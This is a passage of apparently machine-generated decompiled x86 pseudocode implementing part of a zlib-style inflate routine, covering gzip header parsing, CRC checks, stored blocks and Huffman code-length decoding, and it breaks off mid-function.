														__eax = ( *__ebx & 0x000000ff) << __cl;
														__ebx = __ebx + 1;
														__edx = __edx + __eax;
														 *(__esp + 0x14) = __ebx;
														__esi = __esi + 8;
														 *(__esp + 0x10) = __edx;
														__ebp = __ebp - 1;
														__eflags = __esi - 0x10;
														if(__esi < 0x10) {
															continue;
														} else {
															__ecx =  *(__esp + 0x48);
															goto L29;
														}
														goto L360;
													}
													goto L95;
												}
												goto L360;
											case 2:
												L38:
												__eflags = __esi - 0x20;
												if(__esi >= 0x20) {
													L42:
													__eax = __edi[8];
													__eflags = __eax;
													if(__eax != 0) {
														 *(__eax + 4) = __edx;
													}
													__eflags = __edi[4] & 0x00000200;
													if((__edi[4] & 0x00000200) != 0) {
														__eax = __edx;
														 *(__esp + 0x1c) = __dl;
														__eax = __edx >> 8;
														 *(__esp + 0x1d) = __al;
														__edx = __edx >> 0x10;
														 *(__esp + 0x1e) = __al;
														__eax = __esp + 0x1c;
														_push(4);
														__eflags = __edx;
														_push(__eax);
														 *(__esp + 0x27) = __dl;
														_push(__edi[6]);
														__eax = E004102D0();
														__esp = __esp + 0xc;
														__edi[6] = __eax;
													}
													__edx = 0;
													 *__edi = 3;
													 *(__esp + 0x10) = 0;
													__esi = 0;
													goto L49;
												} else {
													L39:
													while(1) {
														L40:
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L95;
														}
														L41:
														__eax =  *__ebx & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebx & 0x000000ff) << __cl;
														__ebx = __ebx + 1;
														__edx = __edx + __eax;
														 *(__esp + 0x14) = __ebx;
														__esi = __esi + 8;
														 *(__esp + 0x10) = __edx;
														__ebp = __ebp - 1;
														__eflags = __esi - 0x20;
														if(__esi < 0x20) {
															continue;
														} else {
															goto L42;
														}
														goto L360;
													}
													goto L95;
												}
												goto L360;
											case 3:
												L47:
												__eflags = __esi - 0x10;
												if(__esi >= 0x10) {
													L51:
													__ecx = __edi[8];
													__eflags = __ecx;
													if(__ecx != 0) {
														__eax = __dl & 0x000000ff;
														 *(__ecx + 8) = __dl & 0x000000ff;
														__ecx = __edx;
														__eax = __edi[8];
														__ecx = __edx >> 8;
														__eflags = __ecx;
														 *(0xc + __edi[8]) = __ecx;
													}
													__eflags = __edi[4] & 0x00000200;
													if((__edi[4] & 0x00000200) != 0) {
														 *(__esp + 0x1c) = __dl;
														__eax = __esp + 0x1c;
														_push(2);
														__eflags = __edx;
														_push(__eax);
														 *(__esp + 0x25) = __dl;
														_push(__edi[6]);
														__eax = E004102D0();
														__esp = __esp + 0xc;
														__edi[6] = __eax;
													}
													__edx = 0;
													 *__edi = 4;
													 *(__esp + 0x10) = 0;
													__esi = 0;
													__eflags = 0;
													goto L56;
												} else {
													L48:
													while(1) {
														L49:
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L95;
														}
														L50:
														__eax =  *__ebx & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebx & 0x000000ff) << __cl;
														__ebx = __ebx + 1;
														__edx = __edx + __eax;
														 *(__esp + 0x14) = __ebx;
														__esi = __esi + 8;
														 *(__esp + 0x10) = __edx;
														__ebp = __ebp - 1;
														__eflags = __esi - 0x10;
														if(__esi < 0x10) {
															continue;
														} else {
															goto L51;
														}
														goto L360;
													}
													goto L95;
												}
												goto L360;
											case 4:
												L56:
												__eflags = __edi[4] & 0x00000400;
												if((__edi[4] & 0x00000400) == 0) {
													L65:
													__eax = __edi[8];
													__eflags = __eax;
													if(__eax != 0) {
														 *(__eax + 0x10) = 0;
													}
													goto L67;
												} else {
													L57:
													__eflags = __esi - 0x10;
													if(__esi >= 0x10) {
														L60:
														__eax = __edi[8];
														__edi[0x10] = __edx;
														__eflags = __eax;
														if(__eax != 0) {
															 *(__eax + 0x14) = __edx;
														}
														__eflags = __edi[4] & 0x00000200;
														if((__edi[4] & 0x00000200) != 0) {
															 *(__esp + 0x1c) = __dl;
															__eax = __esp + 0x1c;
															_push(2);
															__eflags = __edx;
															_push(__eax);
															 *(__esp + 0x25) = __dl;
															_push(__edi[6]);
															__eax = E004102D0();
															__esp = __esp + 0xc;
															__edi[6] = __eax;
														}
														__ecx = 0;
														__esi = 0;
														 *(__esp + 0x10) = 0;
														L67:
														 *__edi = 5;
														goto L68;
													} else {
														while(1) {
															L58:
															__eflags = __ebp;
															if(__ebp == 0) {
																goto L95;
															}
															L59:
															__eax =  *__ebx & 0x000000ff;
															__ecx = __esi;
															__eax = ( *__ebx & 0x000000ff) << __cl;
															__ebx = __ebx + 1;
															__edx = __edx + __eax;
															 *(__esp + 0x14) = __ebx;
															__esi = __esi + 8;
															 *(__esp + 0x10) = __edx;
															__ebp = __ebp - 1;
															__eflags = __esi - 0x10;
															if(__esi < 0x10) {
																continue;
															} else {
																goto L60;
															}
															goto L360;
														}
														goto L95;
													}
												}
												goto L360;
											case 5:
												L68:
												__eflags = __edi[4] & 0x00000400;
												if((__edi[4] & 0x00000400) == 0) {
													L82:
													__edi[0x10] = 0;
													 *__edi = 6;
													goto L83;
												} else {
													L69:
													__ecx = __edi[0x10];
													 *(__esp + 0x34) = __ecx;
													__eflags = __ecx - __ebp;
													if(__ecx > __ebp) {
														__ecx = __ebp;
														 *(__esp + 0x34) = __ebp;
													}
													__eflags = __ecx;
													if(__ecx != 0) {
														__edx = __edi[8];
														__eflags = __edx;
														if(__edx != 0) {
															__eax =  *(__edx + 0x10);
															 *(__esp + 0x30) = __eax;
															__eflags = __eax;
															if(__eax != 0) {
																__eax =  *(__edx + 0x14);
																__eax =  *(__edx + 0x14) - __edi[0x10];
																__edx =  *(0x18 + __edx);
																 *(__esp + 0x38) = __eax;
																__eflags = __eax - __edx;
																__eax =  *(__esp + 0x38);
																if(__eflags <= 0) {
																	__edx = __ecx;
																} else {
																	__edx = __edx - __eax;
																}
																__eax = __eax +  *(__esp + 0x30);
																__eflags = __eax;
																__eax = memcpy(__eax, __ebx, __edx);
																__ecx =  *(__esp + 0x40);
																__esp = __esp + 0xc;
															}
														}
														__eflags = __edi[4] & 0x00000200;
														if((__edi[4] & 0x00000200) != 0) {
															_push(__ecx);
															_push(__ebx);
															_push(__edi[6]);
															__eax = E004102D0();
															__esp = __esp + 0xc;
															__edi[6] = __eax;
														}
														__eax =  *(__esp + 0x34);
														__ebx = __ebx + __eax;
														__ebp = __ebp - __eax;
														 *(__esp + 0x14) = __ebx;
														_t132 =  &(__edi[0x10]);
														 *_t132 = __edi[0x10] - __eax;
														__eflags =  *_t132;
													}
													__eflags = __edi[0x10];
													if(__edi[0x10] != 0) {
														goto L95;
													} else {
														goto L82;
													}
												}
												goto L360;
											case 6:
												L83:
												__eflags = __edi[4] & 0x00000800;
												if((__edi[4] & 0x00000800) == 0) {
													L106:
													__eax = __edi[8];
													__eflags = __eax;
													if(__eax != 0) {
														 *(__eax + 0x1c) = 0;
													}
													goto L108;
												} else {
													L84:
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L95;
													} else {
														L85:
														__ecx = 0;
														__eflags = 0;
														while(1) {
															L86:
															__eax =  *(__ebx + __ecx) & 0x000000ff;
															__ecx = 1 + __ecx;
															 *(__esp + 0x34) = __eax;
															__eax = __edi[8];
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__eax + 0x1c);
																__eflags =  *(__eax + 0x1c);
																if( *(__eax + 0x1c) != 0) {
																	__edx = __edi[0x10];
																	__eflags = __edx -  *((intOrPtr*)(__eax + 0x20));
																	if(__edx <  *((intOrPtr*)(__eax + 0x20))) {
																		__eax =  *(__eax + 0x1c);
																		__ebx =  *(__esp + 0x34);
																		 *(__eax + __edx) = __bl;
																		_t148 =  &(__edi[0x10]);
																		 *_t148 = 1 + __edi[0x10];
																		__eflags =  *_t148;
																		__ebx =  *(__esp + 0x14);
																	}
																}
															}
															__eax =  *(__esp + 0x34);
															__eflags = __eax;
															if(__eax == 0) {
																break;
															}
															L91:
															__eflags = __ecx - __ebp;
															if(__ecx < __ebp) {
																continue;
															}
															break;
														}
														L92:
														__eflags = __edi[4] & 0x00000200;
														 *(__esp + 0x38) = __ecx;
														if((__edi[4] & 0x00000200) != 0) {
															_push(__ecx);
															_push(__ebx);
															_push(__edi[6]);
															__eax = E004102D0();
															__ecx =  *(__esp + 0x44);
															__esp = __esp + 0xc;
															__edi[6] = __eax;
															__eax =  *(__esp + 0x34);
														}
														__ebx = __ebx + __ecx;
														__ebp = __ebp - __ecx;
														 *(__esp + 0x14) = __ebx;
														__eflags = __eax;
														if(__eax == 0) {
															L108:
															__edi[0x10] = 0;
															 *__edi = 7;
															goto L109;
														} else {
															goto L95;
														}
													}
												}
												goto L360;
											case 7:
												L109:
												__eflags = __edi[4] & 0x00001000;
												if((__edi[4] & 0x00001000) == 0) {
													L122:
													__eax = __edi[8];
													__eflags = __eax;
													if(__eax != 0) {
														 *(__eax + 0x24) = 0;
													}
													goto L124;
												} else {
													L110:
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L95;
													} else {
														L111:
														__ecx = 0;
														__eflags = 0;
														while(1) {
															L112:
															__eax =  *(__ebx + __ecx) & 0x000000ff;
															__ecx = 1 + __ecx;
															 *(__esp + 0x34) = __eax;
															__eax = __edi[8];
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__eax + 0x24);
																__eflags =  *(__eax + 0x24);
																if( *(__eax + 0x24) != 0) {
																	__edx = __edi[0x10];
																	__eflags = __edx -  *((intOrPtr*)(__eax + 0x28));
																	if(__edx <  *((intOrPtr*)(__eax + 0x28))) {
																		__eax =  *(__eax + 0x24);
																		__ebx =  *(__esp + 0x34);
																		 *(__eax + __edx) = __bl;
																		_t193 =  &(__edi[0x10]);
																		 *_t193 = 1 + __edi[0x10];
																		__eflags =  *_t193;
																		__ebx =  *(__esp + 0x14);
																	}
																}
															}
															__eax =  *(__esp + 0x34);
															__eflags = __eax;
															if(__eax == 0) {
																break;
															}
															L117:
															__eflags = __ecx - __ebp;
															if(__ecx < __ebp) {
																continue;
															}
															break;
														}
														L118:
														__eflags = __edi[4] & 0x00000200;
														 *(__esp + 0x38) = __ecx;
														if((__edi[4] & 0x00000200) != 0) {
															_push(__ecx);
															_push(__ebx);
															_push(__edi[6]);
															__eax = E004102D0();
															__ecx =  *(__esp + 0x44);
															__esp = __esp + 0xc;
															__edi[6] = __eax;
															__eax =  *(__esp + 0x34);
														}
														__ebx = __ebx + __ecx;
														__ebp = __ebp - __ecx;
														 *(__esp + 0x14) = __ebx;
														__eflags = __eax;
														if(__eax != 0) {
															goto L95;
														} else {
															L121:
															L124:
															__edx =  *(__esp + 0x10);
															 *__edi = 8;
															goto L125;
														}
													}
												}
												goto L360;
											case 8:
												L125:
												__eflags = __edi[4] & 0x00000200;
												if((__edi[4] & 0x00000200) == 0) {
													L133:
													__ecx = __edi[8];
													__eflags = __ecx;
													if(__ecx != 0) {
														__edi[4] = __edi[4] >> 9;
														__eax = __edi[4] >> 0x00000009 & 0x00000001;
														__eflags = __eax;
														 *(__ecx + 0x2c) = __eax;
														__eax = __edi[8];
														 *(__edi[8] + 0x30) = 1;
													}
													_push(0);
													_push(0);
													_push(0);
													__eax = E004102D0();
													__ecx =  *(__esp + 0x54);
													__esp = __esp + 0xc;
													__edx =  *(__esp + 0x10);
													__edi[6] = __eax;
													 *(__ecx + 0x30) = __eax;
													 *__edi = 0xb;
													goto L175;
												} else {
													L126:
													__eflags = __esi - 0x10;
													if(__esi >= 0x10) {
														L130:
														__eax = __edi[6] & 0x0000ffff;
														__eflags = __edx - __eax;
														if(__edx == __eax) {
															L132:
															__ecx = 0;
															__esi = 0;
															__eflags = 0;
															 *(__esp + 0x10) = 0;
															goto L133;
														} else {
															L131:
															__ecx =  *(__esp + 0x48);
															 *(0x18 + __ecx) = "header crc mismatch";
															 *__edi = 0x1d;
														}
														goto L175;
													} else {
														L127:
														while(1) {
															L128:
															__eflags = __ebp;
															if(__ebp == 0) {
																goto L95;
															}
															L129:
															__eax =  *__ebx & 0x000000ff;
															__ecx = __esi;
															__eax = ( *__ebx & 0x000000ff) << __cl;
															__ebx = __ebx + 1;
															__edx = __edx + __eax;
															 *(__esp + 0x14) = __ebx;
															__esi = __esi + 8;
															 *(__esp + 0x10) = __edx;
															__ebp = __ebp - 1;
															__eflags = __esi - 0x10;
															if(__esi < 0x10) {
																continue;
															} else {
																goto L130;
															}
															goto L360;
														}
														goto L95;
													}
												}
												goto L360;
											case 9:
												L136:
												__eflags = __esi - 0x20;
												if(__esi >= 0x20) {
													L139:
													__ecx = __edx;
													__edx = __edx << 0x10;
													__edx & 0x0000ff00 = (__edx & 0x0000ff00) + (__edx << 0x10);
													__edx = __edx >> 8;
													__ecx = (__edx & 0x0000ff00) + (__edx << 0x10) << 8;
													__eax = __edx >> 0x00000008 & 0x0000ff00;
													__eax = (__edx >> 0x00000008 & 0x0000ff00) + ((__edx & 0x0000ff00) + (__edx << 0x10) << 8);
													__edx = __edx >> 0x18;
													__ecx =  *(__esp + 0x48);
													__eax = __eax + __edx;
													__edx = 0;
													__edi[6] = __eax;
													 *(__esp + 0x10) = 0;
													__esi = 0;
													__eflags = 0;
													 *(__ecx + 0x30) = __eax;
													 *__edi = 0xa;
													goto L140;
												} else {
													while(1) {
														L137:
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L95;
														}
														L138:
														__eax =  *__ebx & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebx & 0x000000ff) << __cl;
														__ebx = __ebx + 1;
														__edx = __edx + __eax;
														 *(__esp + 0x14) = __ebx;
														__esi = __esi + 8;
														 *(__esp + 0x10) = __edx;
														__ebp = __ebp - 1;
														__eflags = __esi - 0x20;
														if(__esi < 0x20) {
															continue;
														} else {
															goto L139;
														}
														goto L360;
													}
													goto L95;
												}
												goto L360;
											case 0xa:
												L140:
												__eflags = __edi[3];
												if(__edi[3] == 0) {
													L335:
													__eax =  *(__esp + 0x24);
													 *(0xc + __ecx) =  *(__esp + 0x24);
													__eax =  *(__esp + 0x18);
													 *(__ecx + 0x10) =  *(__esp + 0x18);
													__eax = 2;
													 *__ecx = __ebx;
													 *(__ecx + 4) = __ebp;
													__edi[0xf] = __esi;
													_pop(__esi);
													_pop(__ebp);
													_pop(__ebx);
													__edi[0xe] = __edx;
													_pop(__edi);
													__esp = __esp + 0x34;
													return 2;
												} else {
													L141:
													_push(0);
													_push(0);
													_push(0);
													__eax = E00410AD0();
													__ecx =  *(__esp + 0x54);
													__esp = __esp + 0xc;
													__edx =  *(__esp + 0x10);
													__edi[6] = __eax;
													 *(__ecx + 0x30) = __eax;
													 *__edi = 0xb;
													goto L142;
												}
												goto L360;
											case 0xb:
												L142:
												__eax =  *(__esp + 0x4c);
												__eflags = __eax - 5;
												if(__eax == 5) {
													L342:
													__edi =  *(__esp + 0x10);
													__edx = __eax;
													goto L97;
												} else {
													L143:
													__eflags = __eax - 6;
													if(__eax == 6) {
														goto L342;
													} else {
														goto L144;
													}
												}
												goto L360;
											case 0xc:
												L144:
												__eflags = __edi[1];
												if(__edi[1] == 0) {
													L146:
													__eflags = __esi - 3;
													if(__esi >= 3) {
														L149:
														__eax = __edx;
														__edx = __edx >> 1;
														__edi[1] = __eax;
														__eax = __edx;
														__eax = __edx & 0x00000003;
														__eflags = __eax - 3;
														if(__eax > 3) {
															L152:
															__ecx =  *(__esp + 0x48);
															__edx = __edx >> 2;
															__esi = __esi - 3;
															 *(__esp + 0x10) = __edx;
															goto L175;
														} else {
															L150:
															switch( *((intOrPtr*)(__eax * 4 +  &M0040FEBC))) {
																case 0:
																	L151:
																	 *__edi = 0xd;
																	goto L152;
																case 1:
																	L153:
																	__eflags =  *(__esp + 0x4c) - 6;
																	__edi[0x13] = 0x412738;
																	__edi[0x15] = 9;
																	__edi[0x14] = 0x412f38;
																	__edi[0x16] = 5;
																	 *__edi = 0x13;
																	if( *(__esp + 0x4c) != 6) {
																		goto L152;
																	} else {
																		L154:
																		__edx = __edx >> 2;
																		__esi = __esi - 3;
																		 *(__esp + 0x10) = __edx;
																		goto L95;
																	}
																	goto L360;
																case 2:
																	L155:
																	_t254 = __esp + 0x48; // 0x9
																	__ecx =  *_t254;
																	__edx = __edx >> 2;
																	__esi = __esi - 3;
																	 *__edi = 0x10;
																	 *(__esp + 0x10) = __edx;
																	goto L175;
																case 3:
																	L156:
																	_t256 = __esp + 0x48; // 0x9
																	__ecx =  *_t256;
																	__edx = __edx >> 2;
																	__esi = __esi - 3;
																	 *(__esp + 0x10) = __edx;
																	 *(0x18 + __ecx) = "invalid block type";
																	 *__edi = 0x1d;
																	goto L175;
															}
														}
													} else {
														while(1) {
															L147:
															__eflags = __ebp;
															if(__ebp == 0) {
																goto L95;
															}
															L148:
															__eax =  *__ebx & 0x000000ff;
															__ecx = __esi;
															__eax = ( *__ebx & 0x000000ff) << __cl;
															__ebx = __ebx + 1;
															__edx = __edx + __eax;
															 *(__esp + 0x14) = __ebx;
															__esi = __esi + 8;
															 *(__esp + 0x10) = __edx;
															__ebp = __ebp - 1;
															__eflags = __esi - 3;
															if(__esi < 3) {
																continue;
															} else {
																goto L149;
															}
															goto L360;
														}
														goto L95;
													}
												} else {
													L145:
													__ecx = __esi;
													 *__edi = 0x1a;
													__ecx = __esi & 0x00000007;
													__edx = __edx >> __cl;
													__esi = __esi - __ecx;
													 *(__esp + 0x10) = __edx;
													goto L174;
												}
												goto L360;
											case 0xd:
												L157:
												__esi = __esi & 0x00000007;
												__edx = __edx >> __cl;
												__esi = __esi - (__esi & 0x00000007);
												 *(__esp + 0x10) = __edx;
												__eflags = __esi - 0x20;
												if(__esi >= 0x20) {
													L161:
													__eax = __edx;
													__ecx = __edx;
													__eax =  !__edx;
													__ecx = __edx & 0x0000ffff;
													__eax =  !__edx >> 0x10;
													__eflags = __ecx - __eax;
													if(__ecx == __eax) {
														L163:
														__edx = 0;
														__edi[0x10] = __ecx;
														__esi = 0;
														 *(__esp + 0x10) = 0;
														__eflags =  *(__esp + 0x4c) - 6;
														 *__edi = 0xe;
														if( *(__esp + 0x4c) == 6) {
															L341:
															__edi = 0;
															goto L96;
														} else {
															L164:
															__ecx =  *(__esp + 0x48);
															goto L165;
														}
													} else {
														L162:
														__ecx =  *(__esp + 0x48);
														 *(0x18 + __ecx) = "invalid stored block lengths";
														 *__edi = 0x1d;
														goto L175;
													}
												} else {
													L158:
													while(1) {
														L159:
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L95;
														}
														L160:
														__eax =  *__ebx & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebx & 0x000000ff) << __cl;
														__ebx = __ebx + 1;
														__edx = __edx + __eax;
														 *(__esp + 0x14) = __ebx;
														__esi = __esi + 8;
														 *(__esp + 0x10) = __edx;
														__ebp = __ebp - 1;
														__eflags = __esi - 0x20;
														if(__esi < 0x20) {
															continue;
														} else {
															goto L161;
														}
														goto L360;
													}
													goto L95;
												}
												goto L360;
											case 0xe:
												L165:
												 *__edi = 0xf;
												goto L166;
											case 0xf:
												L166:
												__eax = __edi[0x10];
												 *(__esp + 0x34) = __eax;
												__eflags = __eax;
												if(__eax == 0) {
													L177:
													 *__edi = 0xb;
													goto L175;
												} else {
													L167:
													__eflags = __eax - __ebp;
													if(__eax > __ebp) {
														__eax = __ebp;
														 *(__esp + 0x34) = __ebp;
													}
													__ecx =  *(__esp + 0x18);
													__eflags = __eax - __ecx;
													if(__eax > __ecx) {
														__eax = __ecx;
														 *(__esp + 0x34) = __eax;
													}
													__eflags = __eax;
													if(__eax == 0) {
														goto L95;
													} else {
														L172:
														__eax = memcpy( *(__esp + 0x2c), __ebx, __eax);
														__eax =  *(__esp + 0x40);
														__esp = __esp + 0xc;
														 *(__esp + 0x18) =  *(__esp + 0x18) - __eax;
														__ebx = __ebx + __eax;
														 *(__esp + 0x24) =  *(__esp + 0x24) + __eax;
														__ebp = __ebp - __eax;
														_t279 =  &(__edi[0x10]);
														 *_t279 = __edi[0x10] - __eax;
														__eflags =  *_t279;
														 *(__esp + 0x14) = __ebx;
														goto L173;
													}
												}
												goto L360;
											case 0x10:
												goto L0;
											case 0x11:
												goto L185;
											case 0x12:
												L197:
												_t908 = _t1063[0x1a];
												 *(_t1104 + 0x34) = _t908;
												__eflags = _t908 - _t1063[0x19] + _t1063[0x18];
												if(_t908 >= _t1063[0x19] + _t1063[0x18]) {
													L233:
													__eflags =  *_t1063 - 0x1d;
													if( *_t1063 == 0x1d) {
														L173:
														_t1014 =  *(_t1104 + 0x10);
														goto L174;
													} else {
														L234:
														__eflags = _t1063[0x9c];
														if(_t1063[0x9c] != 0) {
															L237:
															_t754 =  &(_t1063[0x14c]);
															_t1063[0x15] = 9;
															_t1063[0x13] = _t754;
															_t1063[0x1b] = _t754;
															_t757 = E00410DF0(1,  &(_t1063[0x1c]), _t1063[0x18],  &(_t1063[0x1b]),  &(_t1063[0x15]),  &(_t1063[0xbc]));
															_t1104 = _t1104 + 0x18;
															 *(_t1104 + 0x2c) = _t757;
															__eflags = _t757;
															if(_t757 == 0) {
																L239:
																_t1063[0x14] = _t1063[0x1b];
																_t1063[0x16] = 6;
																_t1029 = E00410DF0(2, _t1063 + (_t1063[0x18] + 0x38) * 2, _t1063[0x19],  &(_t1063[0x1b]),  &(_t1063[0x16]),  &(_t1063[0xbc]));
																_t1104 = _t1104 + 0x18;
																 *(_t1104 + 0x2c) = _t1029;
																__eflags = _t1029;
																if(_t1029 == 0) {
																	L241:
																	_t1019 =  *((intOrPtr*)(_t1104 + 0x4c));
																	 *_t1063 = 0x13;
																	__eflags = _t1019 - 6;
																	if(_t1019 == 6) {
																		L340:
																		_t1064 =  *(_t1104 + 0x10);
																		goto L97;
																	} else {
																		L242:
																		_t1030 =  *(_t1104 + 0x10);
																		_t911 =  *(_t1104 + 0x48);
																		goto L243;
																	}
																} else {
																	L240:
																	_t894 =  *(_t1104 + 0x48);
																	_t1014 =  *(_t1104 + 0x10);
																	_t894[6] = "invalid distances set";
																	 *_t1063 = 0x1d;
																	goto L175;
																}
															} else {
																L238:
																_t894 =  *(_t1104 + 0x48);
																_t1014 =  *(_t1104 + 0x10);
																_t894[6] = "invalid literal/lengths set";
																 *_t1063 = 0x1d;
																goto L175;
															}
														} else {
															L235:
															_t894 =  *(_t1104 + 0x48);
															_t1014 =  *(_t1104 + 0x10);
															_t894[6] = "invalid code -- missing end-of-block";
															 *_t1063 = 0x1d;
															goto L175;
														}
													}
												} else {
													L198:
													_t1064 =  *(_t1104 + 0x10);
													do {
														L199:
														_t832 =  *(( *(_t1104 + 0x20))[0x13] + ((0x00000001 <<  *( *(_t1104 + 0x40))) - 0x00000001 & _t1064) * 4);
														 *(_t1104 + 0x38) = _t832;
														__eflags = (_t832 >> 0x00000008 & 0x000000ff) - _t1091;
														if((_t832 >> 0x00000008 & 0x000000ff) <= _t1091) {
															L203:
															_t1050 = _t832 >> 0x10;
															__eflags = _t1050 - 0x10;
															if(__eflags >= 0) {
																L205:
																if(__eflags != 0) {
																	L212:
																	__eflags =  *(_t1104 + 0x3a) - 0x11;
																	_t1051 =  *(_t1104 + 0x10);
																	_t991 = _t832 & 0x000000ff;
																	if( *(_t1104 + 0x3a) != 0x11) {
																		L219:
																		_t1089 = _t991 + 7;
																		 *(_t1104 + 0x38) = _t991;
																		__eflags = _t1091 - _t1089;
																		if(_t1091 >= _t1089) {
																			L224:
																			_t1052 = _t1051 >> _t991;
																			_t1014 = _t1052 >> 7;
																			__eflags = _t1014;
																			 *(_t1104 + 0x30) = 0xb + (_t1052 & 0x0000007f);
																			_t836 = 0xfffffff9;
																			goto L225;
																		} else {
																			L220:
																			while(1) {
																				L221:
																				__eflags = _t1097;
																				if(_t1097 == 0) {
																					goto L95;
																				}
																				L222:
																				_t844 = ( *_t868 & 0x000000ff) << _t1091;
																				_t868 =  &(_t868[1]);
																				_t1051 = _t1051 + _t844;
																				 *(_t1104 + 0x14) = _t868;
																				_t1091 = _t1091 + 8;
																				 *(_t1104 + 0x10) = _t1051;
																				_t1097 = _t1097 - 1;
																				__eflags = _t1091 - _t1089;
																				if(_t1091 < _t1089) {
																					continue;
																				} else {
																					L223:
																					_t991 =  *(_t1104 + 0x38);
																					goto L224;
																				}
																				goto L360;
																			}
																			goto L95;
																		}
																	} else {
																		L213:
																		_t1090 = _t991 + 3;
																		 *(_t1104 + 0x38) = _t991;
																		__eflags = _t1091 - _t1090;
																		if(_t1091 >= _t1090) {
																			L218:
																			_t1055 = _t1051 >> _t991;
																			_t1014 = _t1055 >> 3;
																			 *(_t1104 + 0x30) = (_t1055 & 0x00000007) + 3;
																			_t836 = 0xfffffffd;
																			L225:
																			_t1063 =  *(_t1104 + 0x20);
																			_t1091 = _t1091 + _t836 - _t991;
																			__eflags = _t1091;
																			 *(_t1104 + 0x38) = 0;
																			_t838 =  *(_t1104 + 0x30);
																			goto L226;
																		} else {
																			L214:
																			while(1) {
																				L215:
																				__eflags = _t1097;
																				if(_t1097 == 0) {
																					goto L95;
																				}
																				L216:
																				_t849 = ( *_t868 & 0x000000ff) << _t1091;
																				_t868 =  &(_t868[1]);
																				_t1051 = _t1051 + _t849;
																				 *(_t1104 + 0x14) = _t868;
																				_t1091 = _t1091 + 8;
																				 *(_t1104 + 0x10) = _t1051;
																				_t1097 = _t1097 - 1;
																				__eflags = _t1091 - _t1090;
																				if(_t1091 < _t1090) {
																					continue;
																				} else {
																					L217:
																					_t991 =  *(_t1104 + 0x38);
																					goto L218;
																				}
																				goto L360;
																			}
																			goto L95;
																		}
																	}
																} else {
																	L206:
																	_t1001 = (_t832 >> 0x00000008 & 0x000000ff) + 2;
																	 *(_t1104 + 0x38) = _t1001;
																	__eflags = _t1091 - _t1001;
																	if(_t1091 >= _t1001) {
																		L210:
																		_t1063 =  *(_t1104 + 0x20);
																		_t1002 = _t832 & 0x000000ff;
																		_t850 =  *(_t1104 + 0x34);
																		_t1091 = _t1091 - _t1002;
																		_t1014 =  *(_t1104 + 0x10) >> _t1002;
																		 *(_t1104 + 0x10) = _t1014;
																		__eflags = _t850;
																		if(_t850 == 0) {
																			L236:
																			_t894 =  *(_t1104 + 0x48);
																			_t894[6] = "invalid bit length repeat";
																			 *_t1063 = 0x1d;
																			goto L175;
																		} else {
																			L211:
																			 *(_t1104 + 0x38) =  *(_t1063 + 0x6e + _t850 * 2) & 0x0000ffff;
																			_t853 = _t1014 & 0x00000003;
																			_t1014 = _t1014 >> 2;
																			_t838 = _t853 + 3;
																			_t1091 = _t1091 - 2;
																			 *(_t1104 + 0x30) = _t838;
																			L226:
																			_t868 =  *(_t1104 + 0x14);
																			 *(_t1104 + 0x10) = _t1014;
																			__eflags = _t838 +  *(_t1104 + 0x34) - _t1063[0x19] + _t1063[0x18];
																			if(_t838 +  *(_t1104 + 0x34) > _t1063[0x19] + _t1063[0x18]) {
																				goto L236;
																			} else {
																				L227:
																				_t994 =  *(_t1104 + 0x30);
																				__eflags = _t994;
																				if(_t994 != 0) {
																					L228:
																					_t1054 =  *(_t1104 + 0x38);
																					do {
																						L229:
																						 *(_t1063 + 0x70 + _t1063[0x1a] * 2) = _t1054;
																						_t1063[0x1a] = 1 + _t1063[0x1a];
																						_t994 = _t994 - 1;
																						__eflags = _t994;
																					} while (_t994 != 0);
																				}
																				L230:
																				_t995 =  *(_t1104 + 0x20);
																				_t1064 =  *(_t1104 + 0x10);
																				goto L231;
																			}
																		}
																	} else {
																		L207:
																		while(1) {
																			L208:
																			__eflags = _t1097;
																			if(_t1097 == 0) {
																				goto L96;
																			}
																			L209:
																			_t1058 = ( *_t868 & 0x000000ff) << _t1091;
																			_t868 =  &(_t868[1]);
																			_t1064 = _t1064 + _t1058;
																			 *(_t1104 + 0x14) = _t868;
																			_t1091 = _t1091 + 8;
																			 *(_t1104 + 0x10) = _t1064;
																			_t1097 = _t1097 - 1;
																			__eflags = _t1091 -  *(_t1104 + 0x38);
																			if(_t1091 <  *(_t1104 + 0x38)) {
																				continue;
																			} else {
																				goto L210;
																			}
																			goto L360;
																		}
																		goto L96;
																	}
																}
															} else {
																L204:
																_t1004 = _t832 >> 0x00000008 & 0x000000ff;
																_t1091 = _t1091 - _t1004;
																_t1064 = _t1064 >> _t1004;
																_t995 =  *(_t1104 + 0x20);
																 *(_t1104 + 0x10) = _t1064;
																 *(_t995 + 0x70 +  *(_t1104 + 0x34) * 2) = _t1050;
																_t995[0x1a] = 1 + _t995[0x1a];
																goto L231;
															}
														} else {
															L200:
															while(1) {
																L201:
																__eflags = _t1097;
																if(_t1097 == 0) {
																	goto L96;
																}
																L202:
																_t1064 = _t1064 + (( *_t868 & 0x000000ff) << _t1091);
																_t868 =  &(_t868[1]);
																_t1091 = _t1091 + 8;
																_t1097 = _t1097 - 1;
																 *(_t1104 + 0x10) = _t1064;
																 *(_t1104 + 0x14) = _t868;
																_t832 =  *(( *(_t1104 + 0x20))[0x13] + ((0x00000001 <<  *( *(_t1104 + 0x40))) - 0x00000001 & _t1064) * 4);
																 *(_t1104 + 0x38) = _t832;
																__eflags = (_t832 >> 0x00000008 & 0x000000ff) - _t1091;
																if((_t832 >> 0x00000008 & 0x000000ff) > _t1091) {
																	continue;
																} else {
																	goto L203;
																}
																goto L360;
															}
															goto L96;
														}
														goto L360;
														L231:
														_t1053 = _t995[0x1a];
														 *(_t1104 + 0x34) = _t1053;
														__eflags = _t1053 - _t995[0x19] + _t995[0x18];
													} while (_t1053 < _t995[0x19] + _t995[0x18]);
													_t1063 =  *(_t1104 + 0x20);
													goto L233;
												}
												goto L360;
											case 0x13:
												L243:
												 *_t1063 = 0x14;
												goto L244;
											case 0x14:
												L244:
												__eflags = _t1097 - 6;
												if(_t1097 < 6) {
													L248:
													 *(_t1104 + 0x34) = _t1063[0x13];
